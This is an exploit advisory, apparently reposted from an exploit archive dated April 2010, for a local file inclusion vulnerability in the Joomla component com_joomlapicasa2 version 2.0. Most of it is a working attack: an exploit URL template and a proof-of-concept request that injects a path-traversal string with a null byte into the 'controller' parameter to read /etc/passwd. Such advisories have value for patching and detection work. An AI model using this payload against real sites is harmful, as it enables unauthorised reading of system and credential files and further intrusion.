Home / os / win7

Joomla Component Picasa 2.0 LFI Vulnerability

Posted on 04 April 2010

=============================================
Joomla Component Picasa 2.0 LFI Vulnerability
=============================================

# Exploit Title: Joomla Component Picasa 2.0 LFI Vulnerability
# Date: Monday, 05 April 2010
# Author: Vrs-hCk
# Software Link: http://prof3ta.netsons.org/
# Version: Joomla Component Picasa version 2.0
# Tested on:
# CVE :
# Code :
 
 ================================================================================================
 
 Title    : Joomla Component Picasa 2.0 LFI Vulnerability
 Software : com_joomlapicasa2 version 2.0
 Vendor   : http://prof3ta.netsons.org/
 
 Date     : Monday, 05 April 2010 (Indonesia)
 Author   : Vrs-hCk
 Contact  : ander[at]antisecurity.org
 Blog     : http://c0li.blogspot.com/
 
 ================================================================================================
 
 [+] Exploit
 
     http://[site]/[path]/index.php?option=com_joomlapicasa2&controller=[LFI]
 
 [+] PoC
 
     http://localhost/index.php?option=com_joomlapicasa2&controller=../../../../../etc/passwd%00
 
 ================================================================================================


# Inj3ct0r.com [2010-04-04]

 

TOP